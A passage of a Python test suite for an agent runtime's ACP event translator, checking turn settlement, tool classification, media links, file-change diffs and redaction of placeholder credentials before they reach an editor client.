UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + translator.accept_turn("acp:s1", "t") + + translator.close() + translator.close() + + assert await future == "cancelled" + + async def test_closing_with_no_sessions_is_harmless(self): + UpdateTranslator(emit=lambda f: None).close() + + async def test_ending_a_turn_is_idempotent(self): + """The caller runs it from a ``finally``, which can be reached twice on a + cancellation path.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + translator.begin_turn("acp:s1") + + translator.end_turn("acp:s1") + translator.end_turn("acp:s1") + translator.end_turn("acp:unknown") + + +class TestToolClassification: + @pytest.mark.parametrize( + ("name", "kind"), + [ + ("read_file", "read"), + ("write_file", "edit"), + ("grep", "search"), + ("exec", "execute"), + ("web_fetch", "fetch"), + ("message", "other"), + ], + ) + def test_known_tools_get_their_kind(self, name, kind): + assert tool_kind(name) == kind + + def test_an_unknown_tool_is_other_rather_than_guessed(self): + """An MCP server brings names at runtime. A wrong icon is worse than a + generic one.""" + assert tool_kind("mcp_github_create_issue") == "other" + assert tool_kind(None) == "other" + assert tool_kind("") == "other" + + def test_the_runtimes_own_label_wins(self): + assert title_for("exec", {"command": "ls"}, "Listing the workspace") == "Listing the workspace" + + def test_a_blank_label_falls_back_rather_than_rendering_empty(self): + """``title`` is required on ``ToolCall`` and an empty string draws a blank + row.""" + assert title_for("exec", {"command": "ls"}, " ") == "exec: ls" + assert title_for(None, None, None) == "tool" + + def test_a_long_subject_is_truncated(self): + title = title_for("exec", {"command": "x" * 500}, None) + + assert len(title) < 200 + assert title.endswith("…") + + def test_locations_need_a_base_to_resolve_against(self): + assert locations({"path": "a.py"}, None) == [] + assert locations({"path": "a.py"}, "relative/base") == [] + assert locations({"path": "/abs/a.py"}, None) == [{"path": "/abs/a.py"}] + + def test_locations_are_deduplicated_and_capped(self): + found = locations({"paths": [f"/p/{i}.py" for i in range(50)] + ["/p/0.py"]}, None) + + assert len(found) == MAX_LOCATIONS + assert len({item["path"] for item in found}) == MAX_LOCATIONS + + def test_an_unusable_path_costs_only_itself(self): + found = locations({"paths": ["/good.py", "bad\x00name", 5, " "]}, None) + + assert found == [{"path": "/good.py"}] + + def test_symlinks_are_left_alone(self): + """Resolving turns ``/tmp/x`` into ``/private/tmp/x`` on macOS -- a + different string from the one the editor has open, which is enough to + break the follow-along this field exists for.""" + assert locations({"path": "/tmp/x.py"}, None) == [{"path": "/tmp/x.py"}] + + def test_a_path_naming_a_user_who_does_not_exist_is_dropped(self): + """``Path.expanduser`` raises ``RuntimeError`` for an unknown ``~user``. + One unusable argument must not cost the whole tool row.""" + found = locations({"paths": ["~nosuchuser0xyz/a.py", "/good.py"]}, None) + + assert found == [{"path": "/good.py"}] + + def test_a_home_relative_path_is_expanded(self): + found = locations({"path": "~/notes.md"}, None) + + assert found and found[0]["path"].startswith("/") + assert "~" not in found[0]["path"] + + def test_no_paths_means_no_locations_key(self): + assert locations({"command": "ls"}, "/work") == [] + assert locations(None, "/work") == [] + + +class TestMedia: + """A reply's files. They reached this translator for the first time when + ``TuiOutlet`` stopped eating ``MediaOut``; before that a turn that produced a + chart answered with text naming a file the client was never told about.""" + + def test_a_file_becomes_a_resource_link_chunk(self): + result = translate( + {"type": "media", "payload": {"items": [{"path": "/work/out.csv", "mime": "text/csv", "kind": "file"}]}}, + cwd="/work", + ) + + assert result.updates[0]["content"] == { + "type": "resource_link", + "uri": "file:///work/out.csv", + "name": "out.csv", + "mimeType": "text/csv", + } + assert result.stop is None + validate_def("SessionUpdate", result.updates[0]) + + def test_a_link_rather_than_an_image_block_even_for_a_picture(self): + """``image`` carries base64 ``data``, which would mean reading the file -- + and this translator is pure so its frames can be schema-validated in a + unit test. A local client would rather open the file anyway.""" + result = translate( + {"type": "media", "payload": {"items": [{"path": "/work/plot.png", "mime": "image/png", "kind": "image"}]}}, + cwd="/work", + ) + + assert result.updates[0]["content"]["type"] == "resource_link" + validate_def("SessionUpdate", result.updates[0]) + + def test_one_chunk_per_file_in_the_order_the_turn_produced_them(self): + # ``content`` on a chunk is one ContentBlock, not a list, so several + # files cannot share an update. + result = translate( + { + "type": "media", + "payload": { + "items": [ + {"path": "/work/a.csv", "mime": "text/csv", "kind": "file"}, + {"path": "/work/b.csv", "mime": "text/csv", "kind": "file"}, + ] + }, + }, + cwd="/work", + ) + + assert [u["content"]["name"] for u in result.updates] == ["a.csv", "b.csv"] + + def test_a_relative_path_resolves_against_the_session_cwd(self): + result = translate( + {"type": "media", "payload": {"items": [{"path": "out.csv", "mime": "text/csv", "kind": "file"}]}}, + cwd="/work", + ) + + assert result.updates[0]["content"]["uri"] == "file:///work/out.csv" + + def test_a_relative_path_with_no_cwd_is_named_in_text_not_linked(self): + """A relative ``file://`` URI resolves against the *client's* current + directory, so it either fails or opens a different file with the same + name. Dropping it silently would instead leave a reader looking for a + file the agent said it produced.""" + result = translate( + {"type": "media", "payload": {"items": [{"path": "out.csv", "mime": "text/csv", "kind": "file"}]}} + ) + + assert result.updates[0]["content"] == {"type": "text", "text": "[attachment: out.csv]"} + validate_def("SessionUpdate", result.updates[0]) + + def test_a_space_in_the_path_is_percent_encoded(self): + # An unencoded space terminates a URI, so the client would receive a link + # to the first word of the directory name. + result = translate( + { + "type": "media", + "payload": {"items": [{"path": "/work/My Docs/a b.csv", "mime": "text/csv", "kind": "file"}]}, + }, + cwd="/work", + ) + + assert result.updates[0]["content"]["uri"] == "file:///work/My%20Docs/a%20b.csv" + assert result.updates[0]["content"]["name"] == "a b.csv" + validate_def("SessionUpdate", result.updates[0]) + + def test_a_declared_mime_is_forwarded_and_a_missing_one_is_omitted(self): + """Forwarded as declared rather than derived from the extension: every + emit site hardcodes ``application/octet-stream`` today, and inventing a + type here would be this translator claiming knowledge the event does not + carry -- a client picks its viewer by it.""" + result = translate( + { + "type": "media", + "payload": { + "items": [ + {"path": "/work/a.bin", "mime": "application/octet-stream", "kind": "file"}, + {"path": "/work/b.bin", "kind": "file"}, + ] + }, + }, + cwd="/work", + ) + + assert result.updates[0]["content"]["mimeType"] == "application/octet-stream" + assert "mimeType" not in result.updates[1]["content"] + + @pytest.mark.parametrize( + "payload", + [ + {}, + {"items": None}, + {"items": "a.csv"}, + {"items": []}, + {"items": [None, 3, "x"]}, + {"items": [{"mime": "text/csv"}]}, + {"items": [{"path": " "}]}, + ], + ) + def test_an_unusable_event_produces_no_frame(self, payload): + assert translate({"type": "media", "payload": payload}, cwd="/work").updates == () + + def test_too_many_files_are_capped(self): + items = [{"path": f"/work/f{i}.csv", "mime": "text/csv", "kind": "file"} for i in range(MAX_MEDIA_ITEMS + 5)] + + result = translate({"type": "media", "payload": {"items": items}}, cwd="/work") + + assert len(result.updates) == MAX_MEDIA_ITEMS + + def test_the_uri_builder_degrades_instead_of_raising(self): + """Unreachable through ``translate`` -- a path only reaches the builder + after being made absolute -- and pinned anyway, because what the caller + relies on is that this never raises. A raise here leaves the suspended + ``session/prompt`` unanswered, and the next caller does not inherit that + invariant from a comment.""" + from raven.acp.updates import _file_uri + + assert _file_uri("relative/x.csv") == "file://relative/x.csv" + + def test_the_cap_counts_frames_not_entries(self): + """Slicing the input instead would let a run of unusable entries push the + real files past the limit, so a client would be told about none of them + while the event claimed to carry them.""" + items = [{"kind": "file"} for _ in range(MAX_MEDIA_ITEMS)] + items.append({"path": "/work/real.csv", "mime": "text/csv", "kind": "file"}) + + result = translate({"type": "media", "payload": {"items": items}}, cwd="/work") + + assert [u["content"]["name"] for u in result.updates] == ["real.csv"] + + +class TestTerminationIsExactlyOnce: + """Every wire event, against the pending prompt: does it end the turn? + + The pinned assertion is the *set*. A prompt is a suspended request, so an + event that ends the turn when it should not strands the rest of the reply + with no way to send it, and one that does not end the turn when it should + leaves the client waiting forever. Neither shows up as an error anywhere, + which is why the whole vocabulary is enumerated rather than sampled. + """ + + TERMINAL = {"message.complete", "error"} + + # One representative payload per event, each the shape its emitter actually + # produces -- an empty payload would make several of these vacuous. + PAYLOADS = { + "token.delta": {"text": "x"}, + "thinking.delta": {"text": "x"}, + "tool.start": {"tool_call_id": "t", "name": "exec", "arguments": {"command": "ls"}}, + "tool.complete": {"tool_call_id": "t", "result_preview": "ok"}, + "message.start": {"turn_id": "t"}, + "message.complete": {"turn_id": "t", "usage": {}}, + # turn_id is part of the shape now: the sink stamps the ending turn's own + # id, because a consumer answering a request off this event cannot tell a + # foreign turn's failure from its own without it. + "error": {"code": -32099, "message": "boom", "reason": "internal", "turn_id": "t"}, + "notice": {"kind": "action_blocked", "detail": "no"}, + "episode.start": {"index": 1}, + "dag.run_started": {"nodes": []}, + "dag.node_updated": {"name": "n"}, + "dag.run_completed": {"ok": True}, + "cron.delivered": {"text": "reminder"}, + "cron.missed": {"drops": []}, + "media": {"items": [{"path": "/work/out.csv", "mime": "text/csv", "kind": "file"}]}, + } + + def test_every_known_event_has_a_representative_payload(self): + # Otherwise the sweep below silently stops covering an event the moment + # one is added to the vocabulary. + assert set(self.PAYLOADS) == KNOWN_EVENT_TYPES + + @pytest.mark.parametrize("event_type", sorted(PAYLOADS)) + async def test_only_the_terminating_events_resolve_the_prompt(self, event_type): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + # The representative payloads carry ``turn_id: "t"``, so the turn this + # prompt owns has to be that one. Without it the sweep would measure the + # hold for an unattributable ending, not whether the event terminates. + translator.accept_turn("acp:s1", "t") + + await translator.send_frame(_event(event_type, **self.PAYLOADS[event_type])) + + ends_turn = future.done() + assert ends_turn == (event_type in self.TERMINAL), ( + f"{event_type} {'ended' if ends_turn else 'did not end'} the turn, which is the wrong answer: " + "ending early strands the rest of the reply, not ending leaves the client waiting forever" + ) + + @pytest.mark.parametrize("event_type", sorted(TERMINAL)) + async def test_a_terminating_event_resolves_exactly_once_however_often_it_arrives(self, event_type): + """Repeats are the normal shape, not a bug: a cancel is followed by the + sink's own failure event for the same turn. Resolving twice raises + ``InvalidStateError`` inside the emitter's coalesce task, where nothing + would report it.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "t") + + for _ in range(3): + await translator.send_frame(_event(event_type, **self.PAYLOADS[event_type])) + + assert future.done() + assert await future == "end_turn" + + async def test_the_reason_of_the_first_terminating_event_is_the_one_reported(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + translator.accept_turn("acp:s1", "t") + + await translator.send_frame( + _event("error", code=-32099, message="c", reason="cancelled_by_client", turn_id="t") + ) + await translator.send_frame(_event("message.complete", turn_id="t", usage={})) + await translator.send_frame(_event("error", code=-1, message="late", reason="internal", turn_id="t")) + + assert await future == "cancelled" + + +class TestTheRealOutletPath: + """The translator against the real emitter and the real outlet. + + Everything above tests the translation of a frame that was typed out here. + This is the seam that decides whether such a frame ever arrives: a spine + ``Deliverable`` goes into ``TuiOutlet``, through ``SubscriptionEmitter``'s + coalescing, out of ``send_frame``, and has to come back as ACP. Getting the + channel or the subscription key wrong produces exactly nothing, with no error + anywhere -- which is why it is worth assembling the real objects rather than + asserting on the shape of a dict. + """ + + @staticmethod + async def _wire(session_id: str = "acp:s1"): + from raven.rpc.spine import TuiOutlet + from raven.rpc.subscriptions import SubscriptionEmitter + + written: list[dict] = [] + translator = UpdateTranslator(emit=written.append) + emitter = SubscriptionEmitter(send_frame=translator.send_frame) + subscription_id = await emitter.register(session_id) + translator.add( + AcpSession(session_id=session_id, session_key=session_id, cwd="/work", subscription_id=subscription_id) + ) + return written, translator, emitter, TuiOutlet("acp", emitter) + + @staticmethod + async def _settle(): + from raven.rpc.subscriptions import COALESCE_WINDOW_S + + # The emitter coalesces on a 16ms window before writing, so the frames do + # not exist yet when deliver() returns. + await asyncio.sleep(COALESCE_WINDOW_S * 3) + + async def test_a_streamed_reply_arrives_as_agent_message_chunks(self): + written, translator, emitter, outlet = await self._wire() + try: + await outlet.send_stream_chunk("chat", "acp:s1", "Hel") + await outlet.send_stream_chunk("chat", "acp:s1", "lo") + await self._settle() + finally: + await emitter.close_session("acp:s1") + + updates = _updates(written) + assert [u["sessionUpdate"] for u in updates] == ["agent_message_chunk"], ( + "consecutive deltas are merged by the emitter before they reach the translator" + ) + assert updates[0]["content"]["text"] == "Hello" + for frame in written: + validate_def("SessionNotification", frame["params"]) + + async def test_a_tool_call_arrives_as_a_call_and_an_update(self): + from raven.spine.events import ToolEvent, ToolPhase + + written, translator, emitter, outlet = await self._wire() + try: + await outlet.deliver( + ToolEvent( + phase=ToolPhase.START, + tool_call_id="t1", + name="read_file", + arguments={"path": "a.py"}, + conversation_id="acp:s1", + ) + ) + await outlet.deliver( + ToolEvent( + phase=ToolPhase.COMPLETE, + tool_call_id="t1", + result_preview="contents", + conversation_id="acp:s1", + ) + ) + await self._settle() + finally: + await emitter.close_session("acp:s1") + + updates = _updates(written) + assert [u["sessionUpdate"] for u in updates] == ["tool_call", "tool_call_update"] + assert updates[0]["locations"] == [{"path": "/work/a.py"}] + assert updates[0]["kind"] == "read" + + async def test_reasoning_arrives_as_a_thought_chunk(self): + from raven.spine.events import Reasoning + + written, translator, emitter, outlet = await self._wire() + try: + await outlet.deliver(Reasoning(content="thinking", conversation_id="acp:s1")) + await self._settle() + finally: + await emitter.close_session("acp:s1") + + assert _updates(written)[0]["sessionUpdate"] == "agent_thought_chunk" + + async def test_a_turn_completion_resolves_the_prompt_through_the_real_emitter(self): + written, translator, emitter, outlet = await self._wire() + future = translator.begin_turn("acp:s1") + # What ``session/prompt`` does with the id ``turn.send`` gives back. The + # emitter below completes ``turn-1``, so this is the turn that answers. + translator.accept_turn("acp:s1", "turn-1") + try: + await outlet.send_stream_chunk("chat", "acp:s1", "answer") + await outlet.emit_complete("acp:s1", "turn-1", {"cost_usd": 0.01}) + await self._settle() + finally: + await emitter.close_session("acp:s1") + + assert await future == "end_turn" + assert _updates(written)[0]["content"]["text"] == "answer" + + async def test_a_cancel_event_resolves_the_prompt_as_cancelled(self): + written, translator, emitter, outlet = await self._wire() + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "turn-1") + try: + # The exact call ``turn.cancel`` makes: one error event whose reason is + # the only cancelled-turn signal the runtime produces, carrying the + # turn the lane was bound to. + await emitter.emit( + "acp:s1", + { + "type": "error", + "payload": { + "code": -32099, + "message": "turn_cancelled", + "reason": "cancelled_by_client", + "turn_id": "turn-1", + }, + }, + ) + await self._settle() + finally: + await emitter.close_session("acp:s1") + + assert await future == "cancelled" + + async def test_a_blocked_action_arrives_as_a_refusal(self): + from raven.spine.events import Notice, NoticeKind + + written, translator, emitter, outlet = await self._wire() + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "turn-1") + try: + await outlet.deliver( + Notice(kind=NoticeKind.ACTION_BLOCKED, detail="policy refused", conversation_id="acp:s1") + ) + await outlet.emit_complete("acp:s1", "turn-1", {}) + await self._settle() + finally: + await emitter.close_session("acp:s1") + + # ``end_turn`` and not ``refusal``, and this is the one deliberate + # fidelity loss in the turn-correlation fix. The real ``Notice`` carries + # no turn id -- ``_run_turn`` has none to give it -- and the runtime + # shares this lane, so a refusal seen here cannot be shown to belong to + # this prompt. Latching it anyway is how a foreign turn's block came to be + # reported as this turn's outcome. The refusal is not lost: it is + # delivered as message content, asserted below, which is what the person + # reads. Recorded in the compatibility matrix. + assert await future == "end_turn" + assert _updates(written)[0]["content"]["text"] == "policy refused" + + async def test_another_sessions_stream_does_not_leak_into_this_one(self): + """The emitter serves every session on this connection plus turns the + runtime submitted. A translator keyed on the wrong thing would render a + cron turn's output into whichever editor window happened to be open.""" + written, translator, emitter, outlet = await self._wire() + try: + await emitter.register("cron:nightly") + await emitter.emit("cron:nightly", {"type": "token.delta", "payload": {"text": "scheduled"}}) + await self._settle() + finally: + await emitter.close_session("acp:s1") + await emitter.close_session("cron:nightly") + + assert _updates(written) == [] + assert "event/" in translator.dropped + + +class TestTheFileChangeChain: + """From the real write tool to the ACP frame, with nothing stubbed between. + + Four hops -- ``ToolResult`` to ``ToolOutput`` to the tool event to the wire + payload -- each of which the unified diff string already makes by hand. A + field that is added at one end and read at the other, with a hop missed in + the middle, produces no error anywhere: the client simply never gets a diff, + which is indistinguishable from a tool that changed nothing. + """ + + async def test_a_write_reaches_the_wire_as_the_file_both_ways(self, tmp_path): + from raven.agent.tools.filesystem import WriteFileTool + from raven.agent.tools.registry import ToolRegistry + + target = tmp_path / "a.py" + target.write_text("x = 0\n") + registry = ToolRegistry() + registry.register(WriteFileTool(workspace=tmp_path)) + + output = await registry.execute("write_file", {"path": str(target), "content": "x = 1\n"}) + + assert output.file_change is not None, "the registry boundary dropped it" + assert output.file_change.after == "x = 1\n" + assert output.file_change.before == "x = 0\n" + + async def test_a_created_file_reports_no_previous_content(self, tmp_path): + from raven.agent.tools.filesystem import WriteFileTool + from raven.agent.tools.registry import ToolRegistry + + registry = ToolRegistry() + registry.register(WriteFileTool(workspace=tmp_path)) + + output = await registry.execute("write_file", {"path": str(tmp_path / "new.py"), "content": "x = 1\n"}) + + assert output.file_change.before is None, "an empty string here would read as 'was empty', not 'did not exist'" + + async def test_an_edit_reports_the_whole_file_not_the_fragment(self, tmp_path): + """An edit's arguments carry only the replaced text, so a surface handed + those would render a fragment as though it were the file.""" + from raven.agent.tools.filesystem import EditFileTool + from raven.agent.tools.registry import ToolRegistry + + target = tmp_path / "a.py" + target.write_text("one\ntwo\nthree\n") + registry = ToolRegistry() + registry.register(EditFileTool(workspace=tmp_path)) + + output = await registry.execute("edit_file", {"path": str(target), "old_text": "two", "new_text": "TWO"}) + + assert output.file_change.after == "one\nTWO\nthree\n" + assert output.file_change.before == "one\ntwo\nthree\n" + + async def test_an_unreadable_file_gets_no_structured_change(self, tmp_path): + """Three states, not two: absent, readable, and present but not text. + Reporting the third as a creation would tell a client every line is an + addition to a file that was already there.""" + from raven.agent.tools.filesystem import WriteFileTool + from raven.agent.tools.registry import ToolRegistry + + target = tmp_path / "blob.bin" + target.write_bytes(b"\xff\xfe\x00\x01") + registry = ToolRegistry() + registry.register(WriteFileTool(workspace=tmp_path)) + + output = await registry.execute("write_file", {"path": str(target), "content": "text now\n"}) + + assert output.file_change is None + + async def test_an_append_reports_no_change_because_it_reads_nothing_back(self, tmp_path): + from raven.agent.tools.filesystem import WriteFileTool + from raven.agent.tools.registry import ToolRegistry + + target = tmp_path / "log.txt" + target.write_text("first\n") + registry = ToolRegistry() + registry.register(WriteFileTool(workspace=tmp_path)) + + output = await registry.execute("write_file", {"path": str(target), "content": "second\n", "mode": "append"}) + + assert getattr(output, "file_change", None) is None + + async def test_the_outlet_puts_it_on_the_wire_and_the_translator_reads_it(self): + from raven.spine.events import ToolEvent, ToolPhase + + written, translator, emitter, outlet = await TestTheRealOutletPath._wire() + try: + await outlet.deliver( + ToolEvent( + phase=ToolPhase.COMPLETE, + tool_call_id="t1", + result_preview="Successfully wrote", + file_change={"path": "/work/a.py", "after": "x = 1\n", "before": "x = 0\n"}, + conversation_id="acp:s1", + ) + ) + await TestTheRealOutletPath._settle() + finally: + await emitter.close_session("acp:s1") + + blocks = _updates(written)[0]["content"] + assert any(b["type"] == "diff" and b["newText"] == "x = 1\n" for b in blocks), ( + f"the change did not survive the outlet: {blocks}" + ) + + async def test_a_call_with_no_change_adds_no_wire_key(self): + """Absent rather than null, so every payload the wire already carried + keeps its shape.""" + from raven.spine.events import ToolEvent, ToolPhase + + written, translator, emitter, outlet = await TestTheRealOutletPath._wire() + try: + await outlet.deliver( + ToolEvent(phase=ToolPhase.COMPLETE, tool_call_id="t1", result_preview="ok", conversation_id="acp:s1") + ) + await TestTheRealOutletPath._settle() + finally: + await emitter.close_session("acp:s1") + + payload = written[0]["params"]["event"] if "event" in written[0].get("params", {}) else None + blocks = _updates(written)[0].get("content", []) + assert [b for b in blocks if b["type"] == "diff"] == [] + assert payload is None or "file_change" not in payload.get("payload", {}) + + +class TestTheFileChangePayload: + """The flattening hop, tested where the rest of the chain is tested. + + ``_file_change_payload`` turns the tools' dataclass into the plain mapping the + event and then the wire carry. It lives in the agent loop because that is + where the hop happens, and it is exercised here because everything else about + this field is. + """ + + @staticmethod + def _payload(change): + from raven.agent.loop.main import _file_change_payload + + return _file_change_payload(change) + + def test_a_real_change_flattens_to_the_wire_shape(self): + from raven.agent.tools.base import FileChange + + assert self._payload(FileChange(path="/w/a.py", after="new", before="old")) == { + "path": "/w/a.py", + "after": "new", + "before": "old", + } + + def test_a_created_file_carries_no_before_key(self): + """Absent, not empty. An empty string here would read as "the file was + empty", which is a different fact from "the file was not there".""" + from raven.agent.tools.base import FileChange + + assert self._payload(FileChange(path="/w/new.py", after="x")) == {"path": "/w/new.py", "after": "x"} + + def test_nothing_in_gives_nothing_out(self): + assert self._payload(None) is None + + def test_a_malformed_change_is_dropped_rather_than_forwarded(self): + """The guard exists for a future caller, not for the two write tools: + a mapping with a non-string path would reach the wire and fail a client's + own parse, which is a worse place to find out.""" + from types import SimpleNamespace + + assert self._payload(SimpleNamespace(path="/w/a.py", after=None, before=None)) is None + assert self._payload(SimpleNamespace(path=None, after="x", before=None)) is None + assert self._payload(SimpleNamespace(path="", after="x", before=None)) is None + assert self._payload(SimpleNamespace()) is None + + def test_an_oversized_pair_is_dropped_whole(self): + """The same reasoning ``_unified`` uses for an oversized diff: half a file + reads as a smaller change than the one that happened. And a whole file + both ways is the largest thing a tool event carries.""" + from raven.agent.loop.main import _FILE_CHANGE_MAX_CHARS + from raven.agent.tools.base import FileChange + + big = "x" * (_FILE_CHANGE_MAX_CHARS // 2 + 10) + + assert self._payload(FileChange(path="/w/a.py", after=big, before=big)) is None + assert self._payload(FileChange(path="/w/a.py", after="small", before=None)) is not None + + def test_the_before_length_counts_toward_the_cap(self): + """Both halves ride the same event, so measuring only the new content + would let a rewrite of a large file through at twice the budget.""" + from raven.agent.loop.main import _FILE_CHANGE_MAX_CHARS + from raven.agent.tools.base import FileChange + + after = "y" * (_FILE_CHANGE_MAX_CHARS - 10) + + assert self._payload(FileChange(path="/w/a.py", after=after, before=None)) is not None + assert self._payload(FileChange(path="/w/a.py", after=after, before="z" * 20)) is None + + +class TestTheLiveTranslationPathRedactsWhatItPublishes: + """A credential in a tool's command line reached the editor verbatim. + + ``redact`` existed and was tested, but nothing on this path called it: the + title came straight out of ``title_for`` and the preview straight out of + ``result_preview``. The compatibility matrix said these surfaces were + redacted, so the document and the code disagreed and the document was the + one being believed. An editor persists its transcript, so this is not a + momentary exposure. + + The cases below drive ``translate`` itself rather than ``redact``, because a + passing test of the redactor is exactly what the gap hid behind. + """ + + SECRET = "sk-ant-api03-AAAABBBBCCCCDDDD" + + def test_a_credential_in_a_command_line_does_not_reach_the_title(self) -> None: + event = { + "type": "tool.start", + "payload": { + "tool_call_id": "call-1", + "name": "exec", + "arguments": {"command": f'curl -H "Authorization: Bearer {self.SECRET}" https://api.example.com'}, + }, + } + + (update,) = translate(event, cwd="/w").updates + + assert self.SECRET not in update["title"] + assert "curl" in update["title"], "the row still has to be readable, so the shape survives" + + def test_a_credential_in_a_result_preview_does_not_reach_the_client(self) -> None: + event = { + "type": "tool.complete", + "payload": { + "tool_call_id": "call-1", + "name": "read_file", + "result_preview": f"ANTHROPIC_API_KEY={self.SECRET}\n", + }, + } + + (update,) = translate(event).updates + + published = json.dumps(update) + assert self.SECRET not in published + assert "ANTHROPIC_API_KEY" in published, "redacting the label too leaves a row nobody can act on" + + def test_a_credential_in_an_error_message_does_not_reach_the_client(self) -> None: + """Not in the review, same defect. The matrix claims an error's surviving + text is redacted, and this path published it as message content.""" + event = {"type": "error", "payload": {"message": f"request rejected for token {self.SECRET}"}} + + (update,) = translate(event).updates + + assert self.SECRET not in json.dumps(update) + + def test_a_credential_in_a_blocked_notice_does_not_reach_the_client(self) -> None: + """Same again: the runtime's refusal detail quotes what was refused, and + what was refused is often the command line.""" + event = { + "type": "notice", + "payload": {"kind": "action_blocked", "detail": f"blocked: curl -u user:{self.SECRET} https://x"}, + } + + (update,) = translate(event).updates + + assert self.SECRET not in json.dumps(update) + + def test_the_scan_happens_before_the_preview_is_cut(self) -> None: + """Order matters and the wrong order still passes a naive test. Cutting + first can slice a credential so that the pattern no longer matches, and + then the head of it is published as ordinary text.""" + filler = "x" * (MAX_RESULT_PREVIEW - 10) + event = { + "type": "tool.complete", + "payload": {"tool_call_id": "c", "name": "exec", "result_preview": filler + self.SECRET}, + } + + (update,) = translate(event).updates + + # ``sk-ant-api`` is what survives if the cut lands mid-credential: + # ``redact("token sk-ant-api")`` returns it unchanged, because a sliced + # credential no longer matches the pattern that would have caught it. + # Redacting first replaces the whole token, so the head is gone too. + assert "sk-ant-api" not in json.dumps(update), "a sliced credential is still a leaked credential" + + +class TestOnlyTheTurnThisPromptStartedCanSettleIt: + """A prompt was settled by whatever terminal event came past first. + + One session's subscription also carries turns the runtime submitted -- cron + is the one in production, and ``rpc/spine.py`` handles such a turn ending + while a client's turn is still queued behind it. Settlement read no + ``turn_id``, so that foreign ending answered the client's ``session/prompt``: + the editor is told the turn is over before its own turn starts, and the real + output then arrives after the request it belonged to has ended. + + ``turn.send`` returns the id of the turn it accepted, which is the only + reliable answer to "which turn is mine", so that is what settlement is keyed + on. The ordering wrinkle is real and tested below: ``message.start`` is + emitted inside ``turn.send`` before it returns, so events can arrive before + the id is known. + """ + + async def test_a_foreign_turns_ending_does_not_answer_this_prompt(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + + await translator.send_frame(_event("message.complete", turn_id="runtime-turn")) + + assert not future.done(), "a cron turn ending is not this prompt's answer" + + await translator.send_frame(_event("message.complete", turn_id="mine")) + + assert await future == "end_turn" + + async def test_a_foreign_refusal_does_not_latch_onto_this_turn(self): + """The latch is the same defect one step earlier: a refusal recorded from + another turn changes the stop reason this prompt eventually reports.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + + await translator.send_frame(_event("notice", kind="action_blocked", detail="no", turn_id="runtime-turn")) + await translator.send_frame(_event("message.complete", turn_id="mine")) + + assert await future == "end_turn", "the refusal belonged to another turn" + + async def test_an_ending_that_arrives_before_the_id_is_known_still_answers(self): + """``turn.send`` emits ``message.start`` before it returns, so a turn can + finish before the caller learns its id. Dropping that ending would hang + the prompt, which is worse than the bug being fixed.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + await translator.send_frame(_event("message.complete", turn_id="mine")) + assert not future.done(), "nothing can be attributed yet" + + translator.accept_turn("acp:s1", "mine") + + assert await future == "end_turn" + + async def test_a_foreign_ending_held_from_before_the_id_is_never_applied(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + await translator.send_frame(_event("message.complete", turn_id="runtime-turn")) + translator.accept_turn("acp:s1", "mine") + + assert not future.done() + + await translator.send_frame(_event("message.complete", turn_id="mine")) + + assert await future == "end_turn" + + async def test_an_ending_with_no_turn_id_does_not_answer(self): + """The first version of this fix settled on an id-less ending, reasoning + that refusing would hang a prompt. That was wrong in the direction that + matters: the production notice shape carries no id at all and the runtime + shares this lane, so "absent" cannot mean "this turn's" -- reading it that + way leaves the original defect reachable through a different door. + + Nothing hangs as a result. Every ending that can answer a prompt now + names its turn: ``message.complete`` always did, and the three error + emitters (the sink's ``TurnFailed``, ``turn.cancel``, and the + never-started path) stamp it too. A closing connection and + ``session/cancel`` still settle out of band.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + + await translator.send_frame(_event("message.complete")) + + assert not future.done() + + async def test_an_event_that_is_not_a_mapping_carries_no_turn(self): + """``send_frame`` does not vet the event body, and ``translate`` returns + nothing for a non-mapping rather than raising. The correlation has to be + just as incurious, or a malformed frame becomes an exception inside the + emitter's coalesce task.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + + await translator.send_frame( + {"jsonrpc": "2.0", "method": "event", "params": {"subscription_id": "sub-1", "event": "not a mapping"}} + ) + await translator.send_frame( + {"jsonrpc": "2.0", "method": "event", "params": {"subscription_id": "sub-1", "event": {"payload": 7}}} + ) + + assert not future.done(), "neither frame says anything about any turn" + + def test_accepting_a_turn_for_a_session_with_none_open_is_a_no_op(self): + """``session/prompt`` calls this after ``turn.send`` answers, and the turn + can already be gone by then -- a cancel, or the connection closing.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + + translator.accept_turn("acp:s1", "mine") + translator.accept_turn("acp:nope", "mine") + + async def test_a_foreign_notice_through_the_real_outlet_does_not_latch(self): + """Driven through the real ``SubscriptionEmitter`` and ``RpcOutlet``, + because the shape they emit is the whole question: an earlier version of + this test handed the translator a notice carrying a ``turn_id`` the + production producer does not send, so it passed while the defect it named + stayed reachable.""" + from raven.rpc.spine import TuiOutlet + from raven.rpc.subscriptions import COALESCE_WINDOW_S, SubscriptionEmitter + from raven.spine.events import Notice, NoticeKind + + written: list[dict] = [] + translator = UpdateTranslator(emit=written.append) + emitter = SubscriptionEmitter(send_frame=translator.send_frame) + subscription_id = await emitter.register("acp:s1") + translator.add(AcpSession(session_id="acp:s1", session_key="acp:s1", cwd="/w", subscription_id=subscription_id)) + outlet = TuiOutlet("acp", emitter) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "mine") + try: + await 